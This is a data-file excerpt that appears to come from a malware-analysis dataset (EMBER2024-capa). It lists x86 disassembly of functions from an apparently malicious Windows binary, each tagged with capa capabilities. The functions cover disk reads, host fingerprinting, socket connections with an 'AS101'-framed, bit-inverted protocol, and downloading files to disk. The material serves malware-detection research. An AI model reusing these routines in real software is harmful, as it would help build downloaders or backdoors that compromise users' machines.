joyce8/EMBER2024-capa huggingface dataset:
Function at 0x403450
Capabilities:
Delete file

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x440
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 8], eax
push esi
xor eax, eax
mov word [ebp - 0x210], ax
push 0x206
push 0
lea ecx, [ebp - 0x20e]
push ecx
call fcn.00408f50
add esp, 0xc
mov dword [ebp - 4], 0
push 0x200
push 0
lea edx, [ebp - 0x410]
push edx
call fcn.00408f50
add esp, 0xc
lea eax, [ebp - 0x410]
push eax
call fcn.00402610
add esp, 4
test eax, eax
je 0x403670
mov dword [ebp - 0x414], 0x4143d4
mov dword [ebp - 0x418], 0x418570
mov ecx, dword [ebp - 0x418]
mov dword [ebp - 0x41c], ecx
mov edx, dword [ebp - 0x414]
mov ax, word [edx]
mov word [ebp - 0x41e], ax
mov ecx, dword [ebp - 0x418]
mov dx, word [ebp - 0x41e]
mov word [ecx], dx
mov eax, dword [ebp - 0x414]
add eax, 2
mov dword [ebp - 0x414], eax
mov ecx, dword [ebp - 0x418]
add ecx, 2
mov dword [ebp - 0x418], ecx
cmp word [ebp - 0x41e], 0
jne 0x4034d7
lea edx, [ebp - 0x38a]
mov dword [ebp - 0x424], edx
mov dword [ebp - 0x428], 0x418470
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x42c], eax
mov ecx, dword [ebp - 0x424]
mov dx, word [ecx]
mov word [ebp - 0x42e], dx
mov eax, dword [ebp - 0x428]
mov cx, word [ebp - 0x42e]
mov word [eax], cx
mov edx, dword [ebp - 0x424]
add edx, 2
mov dword [ebp - 0x424], edx
mov eax, dword [ebp - 0x428]
add eax, 2
mov dword [ebp - 0x428], eax
cmp word [ebp - 0x42e], 0
jne 0x403541
lea ecx, [ebp - 0x40c]
mov dword [ebp - 0x434], ecx
mov dword [ebp - 0x438], 0x4184f0
mov edx, dword [ebp - 0x438]
mov dword [ebp - 0x43c], edx
mov eax, dword [ebp - 0x434]
mov cx, word [eax]
mov word [ebp - 0x43e], cx
mov edx, dword [ebp - 0x438]
mov ax, word [ebp - 0x43e]
mov word [edx], ax
mov ecx, dword [ebp - 0x434]
add ecx, 2
mov dword [ebp - 0x434], ecx
mov edx, dword [ebp - 0x438]
add edx, 2
mov dword [ebp - 0x438], edx
cmp word [ebp - 0x43e], 0
jne 0x4035ab
mov ax, word [ebp - 0x38c]
mov word [0x41846c], ax
mov cx, word [ebp - 0x2ea]
mov word [0x4185f0], cx
mov dword [0x4185f4], 5
cmp dword [0x416f10], 3
je 0x403633
push 1
lea esi, [ebp - 0x210]
call fcn.00403db0
add esp, 4
jmp 0x403643
push 0
lea esi, [ebp - 0x210]
call fcn.00403db0
add esp, 4
push str.golfset.ini
push 0x104
lea edx, [ebp - 0x210]
push edx
call fcn.00405607
add esp, 0xc
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
mov dword [ebp - 4], 1
mov eax, dword [ebp - 4]
pop esi
mov ecx, dword [ebp - 8]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
Function at 0x403690
Capabilities:
Check os version

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x120
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
push 0x11c
lea eax, [ebp - 0x120]
push 0
push eax
mov dword [esi], 0
call fcn.00408f50
add esp, 0xc
lea ecx, [ebp - 0x120]
push ecx
mov dword [ebp - 0x120], 0x11c
call dword [sym.imp.KERNEL32.dll_GetVersionExW]
test eax, eax
je 0x403737
mov eax, dword [ebp - 0x11c]
cmp eax, 5
jne 0x403709
mov eax, dword [ebp - 0x118]
cmp eax, 2
jae 0x4036f5
cmp eax, 1
jne 0x403737
mov dword [esi], 3
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
cmp eax, 6
jne 0x403737
mov eax, dword [ebp - 0x118]
test eax, eax
jne 0x40372c
mov dword [esi], 4
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
cmp eax, 1
jne 0x403737
mov dword [esi], 5
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret

Function at 0x403750
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x20c
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.00408f50
add esp, 0xc
cmp dword [0x416f10], 3
jne 0x4037b7
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414880
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405607
add esp, 0xc
jmp 0x4037c9
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
push esi
lea edx, [ebp - 0x20c]
push edx
push 0x414884
push edi
call dword [sym.imp.USER32.dll_wsprintfW]
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 0x10
call fcn.004055f8
mov esp, ebp
pop ebp
ret
Function at 0x4038b0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1c
push ebx
push esi
push edi
mov edi, eax
cmp edi, 0xffffffff
je 0x4039ee
push 0x400
call fcn.0040613d
add esp, 4
push 0x400
xor esi, esi
mov ebx, eax
push esi
push ebx
call fcn.00408f50
add esp, 0xc
call fcn.00403aa0
xor ecx, ecx
mov dword [esp + 0x1c], ecx
mov dword [esp + 0x20], ecx
mov dword [esp + 0x18], ecx
mov dword [esp + 0x24], ecx
shld ecx, eax, 9
shl eax, 9
mov dword [esp + 0x1c], eax
lea eax, [esp + 0x14]
push eax
mov dword [esp + 0x24], ecx
lea ecx, [esp + 0x14]
push ecx
push 0x400
push ebx
push edi
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
je 0x4039e5
cmp dword [ebx + 4], 0x5042475f
jne 0x40397a
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x403946
sub eax, edx
sar eax, 1
je 0x40397a
mov edi, dword [ebp + 8]
mov ecx, 0x8d
mov esi, ebx
rep movsd dword es:[edi], dword [esi]
push ebx
movsw word es:[edi], word [esi]
call fcn.004061d1
add esp, 4
mov eax, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
xor eax, eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
lea edx, [esp + 0x14]
push edx
mov dword [esp + 0x1c], eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x14]
push eax
push 0x400
push ebx
push edi
mov dword [esp + 0x28], esi
mov dword [esp + 0x24], esi
mov dword [esp + 0x30], 0x3c00
mov dword [esp + 0x34], esi
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, esi
je 0x4039e5
cmp dword [ebx + 4], 0x5042475f
jne 0x4039e5
lea eax, [ebx + 0x10e]
lea edx, [eax + 2]
lea ecx, [ecx]
mov cx, word [eax]
add eax, 2
cmp cx, si
jne 0x4039d0
sub eax, edx
sar eax, 1
jne 0x403957
push ebx
call fcn.004061d1
add esp, 4
pop edi
pop esi
xor eax, eax
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x403a00
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x210
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
xor eax, eax
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov dword [ebp - 0x210], 0
mov word [ebp - 0x20c], ax
call fcn.00408f50
add esp, 0xc
push 0x104
lea edx, [ebp - 0x20c]
push edx
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
movzx eax, word [ebp - 0x20c]
sub eax, 0x41
push eax
lea ebx, [ebp - 0x210]
call fcn.00403b90
mov ebx, dword [ebp - 0x210]
add esp, 4
call fcn.00403c80
pop ebx
cmp eax, 0xffffffff
jne 0x403a88
xor eax, eax
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
push esi
call fcn.004038b0
mov ecx, dword [ebp - 4]
xor ecx, ebp
add esp, 4
call fcn.004055f8
mov esp, ebp
pop ebp
ret
Function at 0x403aa0
Capabilities:
Read file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x220
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
xor ebx, ebx
push 0x1ff
lea eax, [ebp - 0x207]
push ebx
push eax
xor esi, esi
mov byte [ebp - 0x208], bl
call fcn.00408f50
add esp, 0xc
cmp edi, 0xffffffff
je 0x403b6c
xor eax, eax
lea ecx, [ebp - 0x220]
push ecx
lea edx, [ebp - 0x20c]
push edx
mov dword [ebp - 0x218], eax
mov dword [ebp - 0x214], eax
mov dword [ebp - 0x21c], eax
mov dword [ebp - 0x210], eax
push 0x200
lea eax, [ebp - 0x208]
push eax
push edi
mov dword [ebp - 0x220], ebx
mov dword [ebp - 0x20c], ebx
mov dword [ebp - 0x218], ebx
mov dword [ebp - 0x214], ebx
call dword [sym.imp.KERNEL32.dll_ReadFile]
cmp eax, ebx
je 0x403b6c
mov eax, dword [ebp - 0x42]
add eax, dword [ebp - 0x3e]
cmp eax, ebx
jbe 0x403b48
mov esi, eax
mov eax, dword [ebp - 0x2e]
add eax, dword [ebp - 0x32]
cmp eax, esi
jbe 0x403b54
mov esi, eax
mov eax, dword [ebp - 0x22]
add eax, dword [ebp - 0x1e]
cmp eax, esi
jbe 0x403b60
mov esi, eax
mov eax, dword [ebp - 0x12]
add eax, dword [ebp - 0xe]
cmp eax, esi
jbe 0x403b6c
mov esi, eax
push 0x64
call dword [sym.imp.KERNEL32.dll_Sleep]
mov ecx, dword [ebp - 4]
mov eax, esi
pop esi
xor ecx, ebp
pop ebx
call fcn.004055f8
mov esp, ebp
pop ebp
ret

Function at 0x403db0
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
cmp dword [ebp + 8], 0
je 0x403dc7
push esi
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
pop ebp
ret
push 0x104
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
push 0x414880
push 0x104
push esi
call fcn.00405607
add esp, 0xc
pop ebp
ret
Function at 0x403df0
Capabilities:
Read file on windows
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push edi
push 0x4148f8
mov edi, ecx
push eax
lea ecx, [ebp - 4]
push ecx
mov dword [ebp - 4], 0
call fcn.00405929
add esp, 0xc
test eax, eax
je 0x403e1d
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 4]
push ebx
push esi
push 2
push 0
push edx
call fcn.00406295
mov eax, dword [ebp - 4]
push eax
call fcn.004064a5
mov ecx, dword [ebp - 4]
push 0
push 0
push ecx
mov esi, eax
call fcn.00406295
lea eax, [esi + edi]
push eax
mov dword [ebp - 0xc], eax
call fcn.0040613d
mov edx, dword [ebp - 4]
push edx
push 1
mov ebx, eax
push esi
push ebx
call fcn.00405bba
mov eax, dword [ebp - 4]
push eax
call fcn.00405c44
push edi
add esi, ebx
push 0
push esi
mov dword [ebp - 8], esi
call fcn.00408f50
mov eax, edi
cdq
and edx, 3
lea esi, [edx + eax]
add esp, 0x40
sar esi, 2
call dword [sym.imp.KERNEL32.dll_GetTickCount]
push eax
call fcn.0040650a
add esp, 4
xor edi, edi
test esi, esi
jle 0x403eb0
lea ebx, [ebx]
call fcn.0040651c
mov ecx, dword [ebp - 8]
mov dword [ecx + edi*4], eax
inc edi
cmp edi, esi
jl 0x403ea0
mov edx, dword [ebp + 8]
push 0x414900
push edx
lea eax, [ebp - 4]
push eax
call fcn.00405929
add esp, 0xc
test eax, eax
je 0x403ed2
pop esi
pop ebx
xor eax, eax
pop edi
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
push ecx
push 1
push edx
push ebx
call fcn.00405e0f
mov eax, dword [ebp - 4]
push eax
call fcn.00405c44
add esp, 0x14
test ebx, ebx
je 0x403efb
push ebx
call fcn.004061d1
add esp, 4
pop esi
pop ebx
mov eax, 1
pop edi
mov esp, ebp
pop ebp
ret
Function at 0x4044b0
Capabilities:
Get local ipv4 addresses
Get mac address on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
mov ebx, dword [sym.imp.IPHLPAPI.DLL_GetAdaptersAddresses]
push esi
push edi
mov dword [ebp - 4], 0
mov dword [ebp - 8], 0x3a98
lea ecx, [ecx]
mov eax, dword [ebp - 8]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov esi, eax
test esi, esi
je 0x40453f
lea ecx, [ebp - 8]
push ecx
push esi
push 0
push 0x10
push 2
call ebx
mov edi, eax
cmp edi, 0x6f
jne 0x40450f
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
xor esi, esi
inc dword [ebp - 4]
cmp edi, 0x6f
jne 0x404549
cmp dword [ebp - 4], 3
jb 0x4044d0
mov edi, 0xfffffffd
test esi, esi
je 0x404536
push esi
push 0
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
or eax, 0xffffffff
pop ebx
mov esp, ebp
pop ebp
ret
test edi, edi
jne 0x40451d
mov eax, esi
test esi, esi
je 0x4045b3
mov ecx, 6
cmp dword [eax + 0x34], ecx
jne 0x404563
cmp dword [eax + 0x1c], 0
jne 0x40456e
mov eax, dword [eax + 8]
test eax, eax
jne 0x404558
xor edi, edi
jmp 0x404522
mov edx, dword [eax + 0x2c]
mov ecx, dword [ebp + 8]
mov dword [ecx], edx
mov dx, word [eax + 0x30]
mov word [ecx + 4], dx
mov ecx, dword [eax + 0x10]
mov edx, dword [ecx + 0xc]
movzx edx, byte [edx + 4]
mov ecx, dword [ebp + 0xc]
mov byte [ecx + 3], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 5]
mov byte [ecx + 2], dl
mov edx, dword [eax + 0x10]
mov edx, dword [edx + 0xc]
movzx edx, byte [edx + 6]
mov byte [ecx + 1], dl
mov eax, dword [eax + 0x10]
mov edx, dword [eax + 0xc]
mov al, byte [edx + 7]
mov byte [ecx], al
xor edi, edi
jmp 0x404522
Function at 0x4047e0
Capabilities:
Check if file exists
Get common file path
Get file attributes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x418
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push edi
call fcn.00404910
add esp, 8
mov dword [ebp - 0x418], eax
test eax, eax
jne 0x4048ff
push esi
push 0x206
push eax
lea ecx, [ebp - 0x20a]
push ecx
mov word [ebp - 0x20c], ax
call fcn.00408f50
xor edx, edx
push 0x206
push edx
lea eax, [ebp - 0x412]
push eax
mov word [ebp - 0x414], dx
call fcn.00408f50
add esp, 0x18
lea ecx, [ebp - 0x20c]
push ecx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
mov esi, 0x417ef0
lea ebx, [ebx]
cmp word [esi], 0
je 0x404893
lea edx, [ebp - 0x20c]
push edx
lea eax, [ebp - 0x414]
push 0x104
push eax
call fcn.0040567c
push esi
lea ecx, [ebp - 0x414]
push 0x104
push ecx
call fcn.00405607
add esp, 0x18
add esi, 0x118
cmp esi, 0x418468
jl 0x404860
mov esi, 0x417ef0
cmp word [esi], 0
je 0x4048ba
push 1
push ebx
push edi
mov ecx, esi
call fcn.00405220
add esp, 0xc
add esi, 0x118
cmp esi, 0x418468
jl 0x4048a6
push 0x418c78
lea edx, [ebp - 0x20c]
push 0x104
push edx
call fcn.00405607
add esp, 0xc
lea eax, [ebp - 0x20c]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
pop esi
mov eax, 2
je 0x4048ff
mov eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret

Function at 0x404b50
Capabilities:
Act as tcp client
Connect socket
Connect tcp socket
Create tcp socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x9ac
mov eax, dword [0x416048]
xor eax, esp
mov dword [esp + 0x9a8], eax
mov eax, dword [ebp + 0xc]
push ebx
xor ebx, ebx
lea ecx, [esp + 0x1a8]
cmp eax, ebx
je 0x404b7d
mov ecx, eax
xor eax, eax
mov word [ecx], ax
lea ecx, [esp + 0x18]
push ecx
push 0x101
mov dword [esp + 0xc], ebx
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
je 0x404baf
xor eax, eax
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
push 6
push 1
push 2
call dword [sym.imp.WS2_32.dll_socket]
mov dword [esi], eax
cmp eax, 0xffffffff
je 0x404b9a
push edi
call dword [sym.imp.WS2_32.dll_gethostbyname]
test eax, eax
jne 0x404beb
push edi
call dword [sym.imp.WS2_32.dll_inet_addr]
push 2
push 4
lea edx, [esp + 0xc]
push edx
mov dword [esp + 0x10], eax
call dword [sym.imp.WS2_32.dll_gethostbyaddr]
test eax, eax
je 0x404c3d
mov eax, dword [eax + 0xc]
mov ecx, dword [eax]
mov edx, dword [ecx]
mov ecx, dword [ebp + 8]
mov eax, 2
push ecx
mov dword [esp + 0x10], edx
mov word [esp + 0xc], ax
call dword [sym.imp.WS2_32.dll_htons]
push 0x10
lea edx, [esp + 0xc]
mov word [esp + 0xe], ax
mov eax, dword [esi]
push edx
push eax
call dword [sym.imp.WS2_32.dll_connect]
test eax, eax
jne 0x404c3d
mov ebx, 1
mov eax, ebx
pop ebx
mov ecx, dword [esp + 0x9a8]
xor ecx, esp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
mov eax, dword [esi]
test eax, eax
je 0x404c4c
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov dword [esi], ebx
mov ecx, dword [esp + 0x9ac]
mov eax, ebx
pop ebx
xor ecx, esp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
Function at 0x404dd0
Capabilities:
Send data
Send data on socket

Disassembly:
push ebp
mov ebp, esp
push ecx
mov ecx, dword [ebp + 8]
xor eax, eax
push ebx
push esi
mov dword [ebp - 4], eax
cmp dword [ecx], eax
je 0x404e4c
cmp edi, eax
jle 0x404df6
mov ecx, dword [ebp + 0xc]
mov dl, byte [eax + ecx]
not dl
mov byte [eax + ecx], dl
inc eax
cmp eax, edi
jl 0x404de6
lea ebx, [edi + 7]
push ebx
call fcn.004066be
mov esi, eax
lea eax, [edi + 5]
mov word [esi], ax
mov ecx, dword [str.AS101]
mov eax, dword [ebp + 0xc]
mov dword [esi + 2], ecx
mov dl, byte [0x416f18]
push edi
push eax
lea ecx, [esi + 7]
push ecx
mov byte [esi + 6], dl
call fcn.00409ac0
mov edx, dword [ebp + 8]
mov eax, dword [edx]
add esp, 0x10
push 0
push ebx
push esi
push eax
call dword [sym.imp.WS2_32.dll_send]
cmp eax, 0xffffffff
je 0x404e4f
cmp eax, ebx
jne 0x404e4f
mov dword [ebp - 4], 1
jmp 0x404e4f
mov esi, dword [ebp + 8]
test esi, esi
je 0x404e5c
push esi
call fcn.00406a97
add esp, 4
mov eax, dword [ebp - 4]
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x405080
Capabilities:
Receive data
Receive data on socket

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x8dc
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
mov dword [ebp - 0x8dc], eax
mov eax, dword [ebp + 0xc]
mov ebx, ecx
push esi
push edi
mov dword [ebp - 0x8d8], edx
mov dword [ebp - 0x8d4], ebx
lea ecx, [ebp - 0x8cc]
test eax, eax
je 0x4050bc
mov ecx, eax
xor eax, eax
mov word [ecx], ax
mov esi, dword [edx]
xor edi, edi
mov dword [ebp - 0x8d0], edi
test esi, esi
je 0x405207
test ebx, ebx
je 0x405207
push 0xc7
lea ecx, [ebp - 0xcb]
push edi
push ecx
mov byte [ebp - 0xcc], al
call fcn.00408f50
add esp, 0xc
push edi
push 2
lea edx, [ebp - 0xcc]
push edx
push esi
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x405205
test eax, eax
je 0x405205
movzx edi, word [ebp - 0xcc]
lea eax, [edi + 2]
push eax
xor esi, esi
call fcn.004066be
add esp, 4
mov ebx, eax
test edi, edi
jle 0x4051e1
jmp 0x405140
mov eax, dword [ebp - 0x8d8]
push 0
mov ecx, edi
sub ecx, esi
push ecx
mov ecx, dword [eax]
lea edx, [esi + ebx]
push edx
push ecx
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 0xffffffff
je 0x4051bb
test eax, eax
je 0x4051bb
add esi, eax
cmp edi, esi
jg 0x405140
cmp esi, 5
jl 0x4051e1
mov edx, dword [str.AS101]
sub esi, 5
cmp edx, dword [ebx]
jne 0x4051e1
mov al, byte [ebx + 4]
cmp al, byte [0x416f18]
jne 0x4051e1
test esi, esi
jle 0x40519a
lea eax, [ebx + 5]
mov edi, esi
nop
mov cl, byte [eax]
not cl
mov byte [eax], cl
inc eax
dec edi
jne 0x405190
mov edi, dword [ebp - 0x8dc]
mov eax, dword [edi]
cmp eax, esi
jl 0x4051c3
mov eax, dword [ebp - 0x8d4]
push esi
lea edx, [ebx + 5]
push edx
push eax
call fcn.00409ac0
mov dword [edi], esi
jmp 0x4051d4
call dword [sym.imp.WS2_32.dll_WSAGetLastError]
jmp 0x4051e1
mov edx, dword [ebp - 0x8d4]
push eax
lea ecx, [ebx + 5]
push ecx
push edx
call fcn.00409ac0
add esp, 0xc
mov dword [ebp - 0x8d0], 1
test ebx, ebx
je 0x4051ee
push ebx
call fcn.00406a97
add esp, 4
mov eax, dword [ebp - 0x8d0]
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
mov eax, edi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.004055f8
mov esp, ebp
pop ebp
ret
Function at 0x405220
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x102c
call fcn.0040eb70
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push 0x400
mov ebx, ecx
lea ecx, [ebp - 0x814]
push 0
push ecx
mov dword [ebp - 0x1028], eax
call fcn.00408f50
push ebx
lea edx, [ebp - 0x814]
push 0x1ff
push edx
call fcn.0040567c
mov eax, ebx
add esp, 0x18
lea edx, [eax + 2]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x405270
sub eax, edx
push esi
sar eax, 1
push edi
lea edi, [ebp + eax*2 - 0x812]
mov ecx, 0x80
mov esi, 0x418a78
mov eax, ebx
rep movsd dword es:[edi], dword [esi]
lea edx, [eax + 2]
lea esp, [esp]
mov cx, word [eax]
add eax, 2
test cx, cx
jne 0x4052a0
sub eax, edx
sar eax, 1
lea eax, [eax + eax + 0x202]
push 0x10000
mov dword [ebp - 0x102c], eax
call fcn.0040613d
push 0x10000
xor esi, esi
mov ebx, eax
push esi
push ebx
call fcn.00408f50
push 0x7fe
lea edx, [ebp - 0x1012]
xor ecx, ecx
push esi
push edx
mov dword [ebp - 0x1020], 0x10000
mov word [ebp - 0x1014], cx
call fcn.00408f50
push 0x206
lea ecx, [ebp - 0x20a]
xor eax, eax
push esi
push ecx
mov dword [ebp - 0x101c], esi
mov dword [ebp - 0x1018], esi
mov dword [ebp - 0x1024], esi
mov word [ebp - 0x20c], ax
call fcn.00408f50
add esp, 0x28
cmp dword [ebp + 0x10], esi
je 0x405344
lea edx, [ebp - 0x20c]
push edx
push 0x104
call dword [sym.imp.KERNEL32.dll_GetTempPathW]
jmp 0x40539b
push 0x104
lea eax, [ebp - 0x414]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
lea ecx, [ebp - 0x414]
push 0x5c
push ecx
call fcn.00406029
xor edx, edx
mov word [eax], dx
lea eax, [ebp - 0x414]
push eax
lea ecx, [ebp - 0x20c]
push 0x104
push ecx
call fcn.0040567c
push 0x414880
lea edx, [ebp - 0x20c]
push 0x103
push edx
call fcn.00405607
add esp, 0x20
mov ecx, dword [ebp + 0xc]
mov edi, dword [ebp - 0x1028]
lea eax, [ebp - 0x1014]
push eax
push ecx
lea esi, [ebp - 0x101c]
call fcn.00404b50
add esp, 8
test eax, eax
je 0x40548e
mov eax, dword [ebp - 0x102c]
lea edx, [ebp - 0x1014]
push edx
push eax
lea ecx, [ebp - 0x814]
push ecx
push 0xbba
mov edx, esi
call fcn.00404c70
add esp, 0x10
test eax, eax
je 0x40548e
lea edx, [ebp - 0x1014]
push edx
lea eax, [ebp - 0x1024]
push eax
mov ecx, esi
push ecx
lea edx, [ebp - 0x1020]
mov ecx, ebx
call fcn.00404e70
add esp, 0xc
test eax, eax
je 0x40548e
mov edx, 0xbba
cmp word [ebp - 0x1024], dx
jne 0x40548e
cmp dword [ebp - 0x1020], 0
je 0x40548e
cmp byte [ebx], 0
jne 0x40548e
push 0x418c78
lea eax, [ebp - 0x20c]
push 0x104
push eax
call fcn.00405607
push 0x414900
lea ecx, [ebp - 0x20c]
push ecx
lea edx, [ebp - 0x1018]
push edx
mov dword [ebp - 0x1018], 0
call fcn.00405929
add esp, 0x18
cmp dword [ebp - 0x1018], 0
je 0x405484
lea eax, [ebp - 0x1018]
push eax
mov edi, esi
call fcn.004054d0
add esp, 4
mov dword [ebp - 0x1018], 1
pop edi
pop esi
test ebx, ebx
je 0x40549d
push ebx
call fcn.004061d1
add esp, 4
mov eax, dword [ebp - 0x101c]
pop ebx
test eax, eax
je 0x4054af
push eax
call dword [sym.imp.WS2_32.dll_closesocket]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp - 0x1018]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
Function at 0x4054d0
Capabilities:
Download and write a file
Receive and write data from server to client
Receive data
Receive data on socket
Write file on windows

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x100c
call fcn.0040eb70
mov eax, dword [0x416048]
xor eax, ebp
mov dword [ebp - 4], eax
mov edx, dword [edi]
mov eax, dword [ebp + 8]
push ebx
xor ebx, ebx
push ebx
push 4
lea ecx, [ebp - 0x1008]
push ecx
push edx
mov dword [ebp - 0x100c], eax
call dword [sym.imp.WS2_32.dll_recv]
cmp eax, 4
je 0x40551c
xor eax, eax
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.004055f8
mov esp, ebp
pop ebp
ret
cmp dword [ebp - 0x1008], ebx
jbe 0x405568
push esi
mov ecx, dword [edi]
push 0
push 0x1000
lea eax, [ebp - 0x1004]
push eax
push ecx
call dword [sym.imp.WS2_32.dll_recv]
mov esi, eax
test esi, esi
je 0x405567
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
push esi
lea ecx, [ebp - 0x1004]
push 1
push ecx
call fcn.00405e0f
add ebx, esi
add esp, 0x10
cmp ebx, dword [ebp - 0x1008]
jb 0x405525
pop esi
mov edx, dword [ebp - 0x100c]
mov eax, dword [edx]
push eax
call fcn.00405c44
mov ecx, dword [ebp - 4]
add esp, 4
cmp ebx, dword [ebp - 0x1008]
pop ebx
sbb eax, eax
xor ecx, ebp
inc eax
call fcn.004055f8
mov esp, ebp
pop ebp
ret

Function at 0x4055f8
Capabilities:
Terminate process

Disassembly:
cmp ecx, dword [0x416048]
jne 0x405602
repz ret
jmp fcn.00406d7e